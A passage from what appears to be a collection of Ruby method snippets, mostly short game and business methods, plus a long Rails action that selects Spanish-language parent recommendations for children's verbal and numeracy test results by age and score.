self.vehicle.posti - self.n_passeggeri\n end", "def renglones\n\t\t@renglones_reporte\n\tend", "def formation; end", "def probers; end", "def preco\n @preco\n end", "def zuruecksetzen()\n end", "def recuperationNbEtape()\n\t\t@nbEtape=@techniqueObjet.combienEtape()\n\tend", "def recuperationNbEtape()\n\t\t@nbEtape=@techniqueObjet.combienEtape()\n\tend", "def partido\n localidad.partido\n end", "def sigla; @nome; end", "def retourAvant()#TOTEST\n if(@indiceCoup < tabCoup.size) #vérification normalement inutile puisque le bouton devrait être disable\n #On annule en passant au coup suivant\n coupSuivant = tabCoup.at(@indiceCoup)\n @grilleEnCours.tabCases[coupSuivant.case.positionY][coupSuivant.case.positionX].couleur = coupSuivant.couleur\n @grilleRaz = nil\n\n @indiceCoup += 1 #On passe au coup suivant\n\n socket = Fenetre1v1.getSocket\n if(socket != nil)\n socket.puts (\"av\" + @grilleEnCours.getPourcentage(@grilleBase, nil).to_s )\n end\n end\n\n return [peutRetourAvant?, coupSuivant.case] #Pour dire aux fonctions appelantes si on peut encore aller en avant\n end", "def jeuTermine\n\t\tlancementAventure(@tailleGrille+1)\n\tend", "def povuci_mrezu\n return @mreza\n end", "def vrat_modif_instanci\n vystup=\"\"\n @pole_dat.each do |radek| \n if(radek[0]==\"p\")then \n vystup +=radek\n vystup += \"w #{generuj_vahy(radek).join(' ')}\\n\" #pridani radku s vahami\n else\n vystup +=radek\n end \n end\n # puts vystup\n return vystup\n end", "def villian; end", "def terpene; end", "def select_reprint\n @data.inv_no = ''\n reprint_common\n end", "def precio\n\t\t@precio\n\tend", "def changerEnRouge\n\t\t@couleur=1\n\tend", "def retire\n\n end", "def changerEnVide\n\t\t@couleur=-1\n\tend", "def schubert; end", "def comer\r\n # @image = Image[\"pez2.png\"]\r\n # Al comer, un pez tendrá x segundos mas de vida, y queda libre para buscar mas comida\r\n @vida_inicio += 2\r\n @libre = true\r\n end", "def deco_pos; end", "def controllaInizio( pippo)\n if INIZIO == 1 && FINE > INIZIO\n return true\n else\n ultimoBook = Book.last\n end \n #ultimoBook = Book.last #<<=== cambiare (commentandola) questa istruzione per il primo ciclo di bidoni\n if INIZIO == ultimoBook.id+1 # 1 <<=== cambiare questa istruzione (mettere: INIZIO == 1) per il primo ciclo di bidoni\n return true\n else\n pippo.scriviRiga(\"Ultimo record in tabella books ha valore: #{ultimoBook.id}\") if INIZIO > 1\n return false\n end\nend", "def nombre_completo\n\tprimer_nombre+\" \"+primer_apellido\n#fin del metodo\nend", "def position_array_personne_epenser(journaliste)\n \tputs \"Reponse :\"\n \tputs \"@epenser est sur la ligne #{journaliste.index(\"@epenser\")}\"\n \tputs\nend", "def display_details()\n puts \"Numele persoanei: #@nume\"\n puts \"Prenumele persoanei: #@prenume\"\n end", "def display_details()\n puts \"Numele persoanei: #@nume\"\n puts \"Prenumele persoanei: #@prenume\"\n end", "def devolver_azucar \n\t\treturn @azucares\n\tend", "def eplore\n end", "def notificaciones\n end", "def rassoc(p0) end", "def celebration; end", "def auto_recibir\n g = Guia.find(params[:id])\n carpeta = 188\n buzones = g.copias.collect{|c| c.buzon_id}.uniq\n carpetas = g.copias.collect{|c| c.carpeta_id}.compact\n if buzones === [95] and carpetas.length == 0\n #FIXME falta filtrar solo los docs = oficio\n Guia.find(2863).copias.each{|c| c.recibir_auto(current_user) unless c.estado_id == 5; c.archivar_auto(current_user,carpeta); c.save}\n end\n end", "def offences_by; end", "def schumann; end", "def nome_perfil\n \tself.descricao\n end", "def imprime_ficha\n \n prawnto :prawn => {\n :left_margin => 20,\n :right_margin => 20,\n :top_margin => 400,\n :bottom_margin => 20 }\n \n @paciente = Paciente.find(params[:id]) \n @razon = \"\"\n @razon = @paciente.razon unless @paciente.razon.nil?\n @rfc = \"\"\n @rfc = @paciente.rfc unless @paciente.rfc.nil?\n @consulta = Consulta.find(params[:consulta_id])\n \n if !@consulta.cita.nil?\n @ref_estudio = @consulta.cita.operation.ref_estudio unless @consulta.cita.operation.ref_estudio.nil?\n @fecha_hora = @consulta.cita.fecha_hora unless @consulta.cita.fecha_hora.nil?\n else\n @ref_estudio = \"\"\n @fecha_hora = \"\"\n end\n \n \n \n respond_to do |format|\n #format.html # show.html.erb\n #format.xml { render :xml => @pago }\n format.pdf {render :layout => false }\n end\n end", "def rafraichir\n\t\tj = @jeu.joueur\n\t\tpos = j.position\n\n\t\t@jeu.tourSuivant( @jeu.carte.vueJoueur(pos,15) )\n\t\t@interface.setVue( @jeu.carte.vueJoueur(pos,@interface.taille) )\n\t\t@interface.setPV( j.pointsDeVie, j.pointsDeVieMax )\n\t\t@interface.setED( j.endurance, j.enduranceMax )\n\t\t@interface.setScore( j.score )\n\t\t@interface.setNbTour( @jeu.nbTour )\n\t\t@interface.setOr( j.or )\n\t\tif j.position.objet\n\t\t\t@interface.setAction( \"Ramasser #{j.position.objet.getNom}\" )\n\t\telsif j.position.pnj\n\t\t\t@interface.setAction( j.position.pnj.actionNom )\n\t\telsif j.position.type.nom == \"herbe\"\n\t\t\t@interface.setAction( \"Regarder l'herbe pousser\" )\n\t\telsif j.position.type.nom == \"desert\"\n\t\t\t@interface.setAction( \"Compter les grains de sable\" )\n\t\telsif j.position.type.nom == \"eau\"\n\t\t\t@interface.setAction( \"Faire la planche\" )\n\t\telse\n\t\t\t@interface.setAction( \"Rien à faire\" )\n\t\tend\n\tend", "def corrigir_mensagem\n\n @responsavel_envio = \"VERONIQUE\"\n corrigir_pasta.click\n numero_mensagem_corrigir.click\n corrigir_button.click\n responsavel_envio_select2.select(@responsavel_envio)\n assinatura_radio2[0].click\n sleep(0.5)\n providencia_textarea.set(@providencia)\n salvar_button.click\n end", "def show\n\n @años =(@test.edad/12).truncate\n @meses = (@test.edad % 12).truncate\n\n if @test.ic > 115 then\n @a = \"El/la estudiante ha adquirido las habilidades verbales por encima de lo esperado para su edad.\"\n @b = \"Se sugieren las siguientes estrategias para reforzar los logros de su hijo/a:\"\n\n elsif @test.ic.between?(85, 115) then\n @a = \"El/la estudiante ha adquirido las habilidades verbales esperadas para su edad.\"\n @b = \"Se sugieren las siguientes estrategias para propiciar un mayor vocabulario de su hijo/a:\"\n\n elsif @test.ic < 85 then\n @a = \"El/la estudiante se encuentra en proceso de adquirir las habilidades verbales esperadas para\nsu edad.\"\n@b = \"Se sugieren las siguientes estrategias para incentivar un mayor vocabulario de su hijo/a y\nalcanzar el nivel esperado para su edad:\"\n end\n\n if @test.nivel == \"Inicial\" then \n @c = \"Conversar con sus hijos puede ser una buena forma de introducir vocabulario nuevo\nen ellos. Pregunte a sus hijos acerca de su día. Incluso los adultos pueden introducir\nnuevo vocabulario a los niños, actuando o ejemplificando el uso de las palabras\nnuevas.\"\n @d = \"Cuéntele y/o léale historias o cuentos a sus hijos. Esta puede ser una manera eficaz y\nentretenida de introducir nuevo vocabulario en ellos. Posteriormente, converse sobre\nlo que les ha leído.\"\n\nelsif @test.nivel == \"1\" then\n @c = \"Conversar con sus hijos puede ser una buena forma de introducir vocabulario nuevo\nen ellos. Pregunte a sus hijos acerca de su día. Incluso los adultos pueden introducir\nnuevo vocabulario a los niños, actuando o ejemplificando el uso de las palabras\nnuevas.\"\n @d = \"Propicie el hábito de lectura en sus hijos, complementariamente léale cuentos o\nhistorias, o lea con ellos. Esta puede ser una manera eficaz y entretenida de introducir\nnuevo vocabulario en ellos. Posteriormente, converse sobre lo que han leído.\"\n\nelsif @test.nivel == \"2\" then\n @c = \"Conversar con sus hijos puede ser una buena forma de introducir vocabulario nuevo\nen ellos. Pregunte a sus hijos acerca de su día. Incluso los adultos pueden introducir\nnuevo vocabulario a los niños, actuando o ejemplificando el uso de las palabras\nnuevas.\"\n @d = \"Propicie el hábito de lectura en sus hijos, complementariamente léale cuentos o\nhistorias, o lea con ellos. Esta puede ser una manera eficaz y entretenida de introducir\nnuevo vocabulario en ellos. Posteriormente, converse sobre lo que han leído.\"\n end \n\n\n# mate\n\n if @test.icm > 115 then\n @e = \"El/la estudiante ha adquirido las habilidades matemáticas aritméticas básicas por encima de lo\nesperado para su edad.\"\n\n elsif @test.icm.between?(85, 115) then\n @e = \"El/la estudiante ha adquirido las habilidades matemáticas aritméticas básicas esperadas para\nsu edad.\"\n\n elsif @test.icm < 85 then\n @e = \"El/la estudiante se encuentra en proceso de adquirir las habilidades matemáticas aritméticas\nbásicas esperadas para su edad.\"\n end\n\n# Numeración\n\n# 60 a 65\n\nif @test.edad.between?(60, 65) && @test.pi_num > 10 then\n @f = \"El/la estudiante ha adquirido las habilidades de numeración por encima de lo esperado para la edad que posee.\nAlgunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:\n\n\n* Se puede ayudar al niño a aprender la secuencia numérica (sobre todo los primeros 15 números que deben ser memorizados) con rimas infantiles e historias. Luego del 15 hay un patrón para los números y la idea es ayudar al niño a que aprenda las reglas para crear los números. Los niños deben aprender que después de un número terminado en 9, hay un cambio a la decena siguiente, y una vez que el cambio se ha producido, simplemente se añaden los números del 1 al 9.\n\n* Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.\n\n* Jugar con el niño tirando un dado (para mayor complejidad pueden usar más dados) para determinar qué número de objetos han de seleccionarse de un conjunto mayor.\n\n* Jugar el “Número tapado”, consiste en colocar una serie de cartas del 1 al 9, se pide al niño que cierre los ojos y se le da la vuelta a una de ellas ocultando el número. Después, se les pide (señalando la carta anterior) que digan cuál es el número siguiente. Una versión más elaborada supone dar la vuelta a todas las cartas y levantar solo una de ellas. Entonces se pide al niño que diga cuál es el número que va después.\n\n* Para que practiquen el conteo de 10 en 10 se puede jugar un juego en el que los niños tienen que contar con rapidez objetos agrupados en colecciones de diez. Si se prima la velocidad, los niños aprenden rápidamente a contar de 10 en 10.\n\"\n\nelsif @test.edad.between?(60, 65) && @test.pi_num.between?(8, 10) then\n @f = \"El/la estudiante ha adquirido las habilidades de numeración de acuerdo a lo esperado para la edad que posee.\nAlgunas recomendaciones para mejorar lo aprendido:\n\n\n* Se puede ayudar al niño a aprender la secuencia numérica (sobre todo los primeros 15 números que deben ser memorizados) con rimas infantiles e historias. Luego del 15 hay un patrón para los números y la idea es ayudar al niño a que aprenda las reglas para crear los números.\n\n* Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.\n\n* Jugar con el niño tirando un dado (para mayor complejidad pueden usar más dados) para determinar qué número de objetos han de seleccionarse de un conjunto mayor.\n\n* Jugar el “Número tapado”, consiste en colocar una serie de cartas del 1 al 9, se pide al niño que cierre los ojos y se le da la vuelta a una de ellas ocultando el número. Después, se les pide (señalando la carta anterior) que digan cuál es el número siguiente. Una versión más elaborada supone dar la vuelta a todas las cartas y levantar solo una de ellas. Entonces se pide al niño que diga cuál es el número que va después.\n\"\n\nelsif @test.edad.between?(60, 65) && @test.pi_num < 8 then\n @f = \"El/la estudiante se encuentra en proceso de adquirir las habilidades de numeración de acuerdo a lo esperado para la edad que posee.\nAlgunas recomendaciones para apoyar al estudiante:\n\n\n* Se puede ayudar al niño a aprender la secuencia numérica (sobre todo los primeros 15 números que deben ser memorizados) con rimas infantiles e historias. Luego del 15 hay un patrón para los números y la idea es ayudar al niño a que aprenda las reglas para crear los números. \n\n* Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.\n\n* Jugar con el niño tirando un dado (para mayor complejidad pueden usar más dados) para determinar qué número de objetos han de seleccionarse de un conjunto mayor.\n\n* Jugar el “Número tapado”, consiste en colocar una serie de cartas del 1 al 9, se pide al niño que cierre los ojos y se le da la vuelta a una de ellas ocultando el número. Después, se les pide (señalando la carta anterior) que digan cuál es el número siguiente. Una versión más elaborada supone dar la vuelta a todas las cartas y levantar solo una de ellas. Entonces se pide al niño que diga cuál es el número que va después.\n\"\n\n# 72 a 77\n\nelsif @test.edad.between?(66, 71) && @test.pi_num > 14 then\n @f = \"El/la estudiante ha adquirido las habilidades de numeración por encima de lo esperado para la edad que posee.\nAlgunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:\n\n\n* Se puede ayudar al niño a aprender la secuencia numérica (sobre todo los primeros 15 números que deben ser memorizados) con rimas infantiles e historias. Luego del 15 hay un patrón para los números y la idea es ayudar al niño a que aprenda las reglas para crear los números. Los niños deben aprender que después de un número terminado en 9, hay un cambio a la decena siguiente, y una vez que el cambio se ha producido, simplemente se añaden los números del 1 al 9.\n\n* Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.\n\n* Jugar con el niño tirando un dado (para mayor complejidad pueden usar más dados) para determinar qué número de objetos han de seleccionarse de un conjunto mayor.\n\n* Jugar el “Número tapado”, consiste en colocar una serie de cartas del 1 al 9, se pide al niño que cierre los ojos y se le da la vuelta a una de ellas ocultando el número. Después, se les pide (señalando la carta anterior) que digan cuál es el número siguiente. Una versión más elaborada supone dar la vuelta a todas las cartas y levantar solo una de ellas. Entonces se pide al niño que diga cuál es el número que va después.\n\n* Para que practiquen el conteo de 10 en 10 se puede jugar un juego en el que los niños tienen que contar con rapidez objetos agrupados en colecciones de diez. Si se prima la velocidad, los niños aprenden rápidamente a contar de 10 en 10.\n\"\n\nelsif @test.edad.between?(66, 71) && @test.pi_num.between?(10, 14) then\n @f = \"El/la estudiante ha adquirido las habilidades de numeración de acuerdo a lo esperado para la edad que posee.\nAlgunas recomendaciones para mejorar lo aprendido:\n\n\n* Se puede ayudar al niño a aprender la secuencia numérica (sobre todo los primeros 15 números que deben ser memorizados) con rimas infantiles e historias. Luego del 15 hay un patrón para los números y la idea es ayudar al niño a que aprenda las reglas para crear los números.\n\n* Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.\n\n* Jugar con el niño tirando un dado (para mayor complejidad pueden usar más dados) para determinar qué número de objetos han de seleccionarse de un conjunto mayor.\n\n* Jugar el “Número tapado”, consiste en colocar una serie de cartas del 1 al 9, se pide al niño que cierre los ojos y se le da la vuelta a una de ellas ocultando el número. Después, se les pide (señalando la carta anterior) que digan cuál es el número siguiente. Una versión más elaborada supone dar la vuelta a todas las cartas y levantar solo una de ellas. Entonces se pide al niño que diga cuál es el número que va después.\n\"\n\nelsif @test.edad.between?(66, 71) && @test.pi_num < 10 then\n @f = \"El/la estudiante se encuentra en proceso de adquirir las habilidades de numeración de acuerdo a lo esperado para la edad que posee.\nAlgunas recomendaciones para apoyar al estudiante:\n\n\n* Se puede ayudar al niño a aprender la secuencia numérica (sobre todo los primeros 15 números que deben ser memorizados) con rimas infantiles e historias. Luego del 15 hay un patrón para los números y la idea es ayudar al niño a que aprenda las reglas para crear los números. \n\n* Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.\n\n* Jugar con el niño tirando un dado (para mayor complejidad pueden usar más dados) para determinar qué número de objetos han de seleccionarse de un conjunto mayor.\n\n* Jugar el “Número tapado”, consiste en colocar una serie de cartas del 1 al 9, se pide al niño que cierre los ojos y se le da la vuelta a una de ellas ocultando el número. Después, se les pide (señalando la carta anterior) que digan cuál es el número siguiente. Una versión más elaborada supone dar la vuelta a todas las cartas y levantar solo una de ellas. Entonces se pide al niño que diga cuál es el número que va después.\n\"\n\n# 72 a 77 \n\nelsif @test.edad.between?(72, 77) && @test.pi_num > 16 then\n @f = \"El/la estudiante ha adquirido las habilidades de numeración por encima de lo esperado para la edad que posee.\nAlgunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:\n\n\n* Los niños deben aprender que después de un número terminado en 9, hay un cambio a la decena siguiente, y una vez que el cambio se ha producido, simplemente se añaden los números del 1 al 9.\n\n* Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.\n\n* Jugar con el niño tirando un dado (para mayor complejidad pueden usar más dados) para determinar qué número de objetos han de seleccionarse de un conjunto mayor.\n\n* Jugar el “Número tapado”, consiste en colocar una serie de cartas del 1 al 9 o más, se pide al niño que cierre los ojos y se le da la vuelta a una de ellas ocultando el número. Después, se les pide (señalando la carta anterior) que digan cuál es el número siguiente. Una versión más elaborada supone dar la vuelta a todas las cartas y levantar solo una de ellas. Entonces se pide al niño que diga cuál es el número que va después.\n\n* Para que practiquen el conteo de 10 en 10 se puede jugar un juego en el que los niños tienen que contar con rapidez objetos agrupados en colecciones de diez. Si se prima la velocidad, los niños aprenden rápidamente a contar de 10 en 10.\n\"\n\nelsif @test.edad.between?(72, 77) && @test.pi_num.between?(13, 16) then\n @f = \"El/la estudiante ha adquirido las habilidades de numeración de acuerdo a lo esperado para la edad que posee.\nAlgunas recomendaciones para mejorar lo aprendido:\n\n\n* Los niños deben aprender que después de un número terminado en 9, hay un cambio a la decena siguiente, y una vez que el cambio se ha producido, simplemente se añaden los números del 1 al 9.\n\n* Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.\n\n* Jugar con el niño tirando un dado (para mayor complejidad pueden usar más dados) para determinar qué número de objetos han de seleccionarse de un conjunto mayor.\n\n* Jugar el “Número tapado”, consiste en colocar una serie de cartas del 1 al 9 o más, se pide al niño que cierre los ojos y se le da la vuelta a una de ellas ocultando el número. Después, se les pide (señalando la carta anterior) que digan cuál es el número siguiente. Una versión más elaborada supone dar la vuelta a todas las cartas y levantar solo una de ellas. Entonces se pide al niño que diga cuál es el número que va después.\n\"\n\nelsif @test.edad.between?(72, 77) && @test.pi_num < 13 then\n @f = \"El/la estudiante se encuentra en proceso de adquirir las habilidades de numeración de acuerdo a lo esperado para la edad que posee.\nAlgunas recomendaciones para apoyar al estudiante:\n \n\n * Se puede ayudar al niño a aprender la secuencia numérica (sobre todo los primeros 15 números que deben ser memorizados) con rimas infantiles e historias. Luego del 15 hay un patrón para los números y la idea es ayudar al niño a que aprenda las reglas para crear los números. \n \n * Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.\n \n * Jugar con el niño tirando un dado (para mayor complejidad pueden usar más dados) para determinar qué número de objetos han de seleccionarse de un conjunto mayor.\n \n * Jugar el “Número tapado”, consiste en colocar una serie de cartas del 1 al 9, se pide al niño que cierre los ojos y se le da la vuelta a una de ellas ocultando el número. Después, se les pide (señalando la carta anterior) que digan cuál es el número siguiente. Una versión más elaborada supone dar la vuelta a todas las cartas y levantar solo una de ellas. Entonces se pide al niño que diga cuál es el número que va después.\n\"\n\n\n# 78 a 83\n\nelsif @test.edad.between?(78, 83) && @test.pi_num > 17 then\n @f = \"El/la estudiante ha adquirido las habilidades de numeración por encima de lo esperado para la edad que posee.\nAlgunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:\n\n\n* Los niños deben aprender que después de un número terminado en 9, hay un cambio a la decena siguiente, y una vez que el cambio se ha producido, simplemente se añaden los números del 1 al 9.\n\n* Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.\n\n* Jugar con el niño tirando un dado (para mayor complejidad pueden usar más dados) para determinar qué número de objetos han de seleccionarse de un conjunto mayor.\n\n* Jugar el “Número tapado”, consiste en colocar una serie de cartas del 1 al 9 o más, se pide al niño que cierre los ojos y se le da la vuelta a una de ellas ocultando el número. Después, se les pide (señalando la carta anterior) que digan cuál es el número siguiente. Una versión más elaborada supone dar la vuelta a todas las cartas y levantar solo una de ellas. Entonces se pide al niño que diga cuál es el número que va después.\n\n* Para que practiquen el conteo de 10 en 10 se puede jugar un juego en el que los niños tienen que contar con rapidez objetos agrupados en colecciones de diez. Si se prima la velocidad, los niños aprenden rápidamente a contar de 10 en 10.\n\"\n\nelsif @test.edad.between?(78, 83) && @test.pi_num.between?(15, 17) then\n @f = \"El/la estudiante ha adquirido las habilidades de numeración de acuerdo a lo esperado para la edad que posee.\nAlgunas recomendaciones para mejorar lo aprendido:\n\n\n* Los niños deben aprender que después de un número terminado en 9, hay un cambio a la decena siguiente, y una vez que el cambio se ha producido, simplemente se añaden los números del 1 al 9.\n\n* Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.\n\n* Jugar con el niño tirando un dado (para mayor complejidad pueden usar más dados) para determinar qué número de objetos han de seleccionarse de un conjunto mayor.\n\n* Jugar el “Número tapado”, consiste en colocar una serie de cartas del 1 al 9 o más, se pide al niño que cierre los ojos y se le da la vuelta a una de ellas ocultando el número. Después, se les pide (señalando la carta anterior) que digan cuál es el número siguiente. Una versión más elaborada supone dar la vuelta a todas las cartas y levantar solo una de ellas. Entonces se pide al niño que diga cuál es el número que va después.\n\"\n\nelsif @test.edad.between?(78, 83) && @test.pi_num < 15 then\n @f = \"El/la estudiante se encuentra en proceso de adquirir las habilidades de numeración de acuerdo a lo esperado para la edad que posee.\nAlgunas recomendaciones para apoyar al estudiante:\n \n\n * Se puede ayudar al niño a aprender la secuencia numérica (sobre todo los primeros 15 números que deben ser memorizados) con rimas infantiles e historias. Luego del 15 hay un patrón para los números y la idea es ayudar al niño a que aprenda las reglas para crear los números. \n \n * Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.\n \n * Jugar con el niño tirando un dado (para mayor complejidad pueden usar más dados) para determinar qué número de objetos han de seleccionarse de un conjunto mayor.\n \n * Jugar el “Número tapado”, consiste en colocar una serie de cartas del 1 al 9, se pide al niño que cierre los ojos y se le da la vuelta a una de ellas ocultando el número. Después, se les pide (señalando la carta anterior) que digan cuál es el número siguiente. Una versión más elaborada supone dar la vuelta a todas las cartas y levantar solo una de ellas. Entonces se pide al niño que diga cuál es el número que va después.\n\"\n\n\n# 84 a 95\n\nelsif @test.edad.between?(84, 95) && @test.pi_num > 18 then\n @f = \"El/la estudiante ha adquirido las habilidades de numeración por encima de lo esperado para la edad que posee.\nAlgunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:\n\n\n* Después de conocer las reglas de los números hasta el 99, la tarea principal de los estudiantes es aprender que el número siguiente es 100, y que se vuelven a aplicar el mismo tipo de reglas para producir los números superiores a 100. La regla básica es empezar con la etiqueta de las centenas (en este caso “ciento”), después se sigue con la etiqueta de las decenas (“veinte”, “treinta”, etc.) y se le añaden las unidades (uno, dos…). \n\n* Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.\n\n* Practicar secuencias de conteo con un patrón establecido, de 4 en 4, de 6 en 6, etc.\n\"\n\nelsif @test.edad.between?(84, 95) && @test.pi_num.between?(16, 18) then\n @f = \"El/la estudiante ha adquirido las habilidades de numeración de acuerdo a lo esperado para la edad que posee.\nAlgunas recomendaciones para mejorar lo aprendido:\n\n\n* Después de conocer las reglas de los números hasta el 99, la tarea principal de los estudiantes es aprender que el número siguiente es 100, y que se vuelven a aplicar el mismo tipo de reglas para producir los números superiores a 100. La regla básica es empezar con la etiqueta de las centenas (en este caso “ciento”), después se sigue con la etiqueta de las decenas (“veinte”, “treinta”, etc.) y se le añaden las unidades (uno, dos…). \n\n* Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.\n\n* Practicar secuencias de conteo con un patrón establecido, de 4 en 4, de 6 en 6, etc.\n\"\n\nelsif @test.edad.between?(84, 95) && @test.pi_num < 16 then\n @f = \"El/la estudiante se encuentra en proceso de adquirir las habilidades de numeración de acuerdo a lo esperado para la edad que posee.\nAlgunas recomendaciones para apoyar al estudiante:\n\n\n* Los niños deben aprender que después de un número terminado en 9, hay un cambio a la decena siguiente, y una vez que el cambio se ha producido, simplemente se añaden los números del 1 al 9.\n\n* Después de conocer las reglas de los números hasta el 99, la tarea principal de los estudiantes es aprender que el número siguiente es 100, y que se vuelven a aplicar el mismo tipo de reglas para producir los números superiores a 100. La regla básica es empezar con la etiqueta de las centenas (en este caso “ciento”), después se sigue con la etiqueta de las decenas (“veinte”, “treinta”, etc.) y se le añaden las unidades (uno, dos…). \n\n* Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.\n\n* Para que practiquen el conteo de 10 en 10 se puede jugar un juego en el que los niños tienen que contar con rapidez objetos agrupados en colecciones de diez. Si se prima la velocidad, los niños aprenden rápidamente a contar de 10 en 10.\n\"\n\n\n\n# 96 a 101\n\nelsif @test.edad.between?(96, 101) && @test.pi_num > 19 then\n @f = \"El/la estudiante ha adquirido las habilidades de numeración de acuerdo a lo esperado para la edad que posee.\nAlgunas recomendaciones para mejorar lo aprendido:\n\n\n* Después de conocer las reglas de los números hasta el 99, la tarea principal de los estudiantes es aprender que el número siguiente es 100, y que se vuelven a aplicar el mismo tipo de reglas para producir los números superiores a 100. La regla básica es empezar con la etiqueta de las centenas (en este caso “ciento”), después se sigue con la etiqueta de las decenas (“veinte”, “treinta”, etc.) y se le añaden las unidades (uno, dos…). \n\n* Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.\n\n* Practicar secuencias de conteo con un patrón establecido, de 4 en 4, de 6 en 6, etc.\n\"\n\nelsif @test.edad.between?(96, 101) && @test.pi_num < 20 then\n @f = \"El/la estudiante se encuentra en proceso de adquirir las habilidades de numeración de acuerdo a lo esperado para la edad que posee.\nAlgunas recomendaciones para apoyar al estudiante:\n\n\n* Los niños deben aprender que después de un número terminado en 9, hay un cambio a la decena siguiente, y una vez que el cambio se ha producido, simplemente se añaden los números del 1 al 9.\n\n* Después de conocer las reglas de los números hasta el 99, la tarea principal de los estudiantes es aprender que el número siguiente es 100, y que se vuelven a aplicar el mismo tipo de reglas para producir los números superiores a 100. La regla básica es empezar con la etiqueta de las centenas (en este caso “ciento”), después se sigue con la etiqueta de las decenas (“veinte”, “treinta”, etc.) y se le añaden las unidades (uno, dos…). \n\n* Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.\n\n* Para que practiquen el conteo de 10 en 10 se puede jugar un juego en el que los niños tienen que contar con rapidez objetos agrupados en colecciones de diez. Si se prima la velocidad, los niños aprenden rápidamente a contar de 10 en 10.\n\"\nend\n\n# Comparación de cantidades\n\n# 60 a 71\n\nif @test.edad.between?(60, 71) && @test.pi_comp > 3 then\n @g= \"El/la estudiante ha adquirido las habilidades de comparación de cantidades por encima de lo esperado para la edad que posee.\nAlgunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:\n\n\n* Presentar al niño tareas de comparación de conjuntos de objetos y pedirle que diga dónde hay “más”. Una vez que el estudiante ha practicado durante un tiempo se debe prescindir de los objetos y plantear la tarea oralmente. Puede ir incrementando los números para que la tarea sea más compleja para el estudiante.\n\n* Presentar al niño una línea numérica escrita en el piso (del 1 al 10, por ejemplo) y preguntarle dónde se necesitan más pasos: del 2 al 9 o del 2 al 4. También se podría utilizar una regla para realizar este ejercicio. Esta experiencia con líneas numéricas físicas le ayudará al niño a interiorizar la línea numérica mental. \n\"\n\nelsif @test.edad.between?(60, 71) && @test.pi_comp.between?(2, 3) then\n @g = \"El/la estudiante ha adquirido las habilidades de comparación de cantidades de acuerdo a lo esperado para su edad.\nAlgunas recomendaciones para mejorar lo aprendido:\n\n\n* Presentar al niño tareas de comparación de conjuntos de objetos y pedirle que diga dónde hay “más”. Los objetos pueden alinearse uno al lado del otro, de esta manera, el estudiante puede aprender que la colección a la que le “sobra algo”, al ponerla en relación por correspondencia uno a uno, es la que tiene “más”. Una vez que el estudiante ha practicado durante un tiempo se debe prescindir de los objetos y plantear la tarea oralmente.\n\n* Presentar al niño una línea numérica escrita en el piso (del 1 al 10, por ejemplo) y preguntarle dónde se necesitan más pasos: del 2 al 9 o del 2 al 4. También se podría utilizar 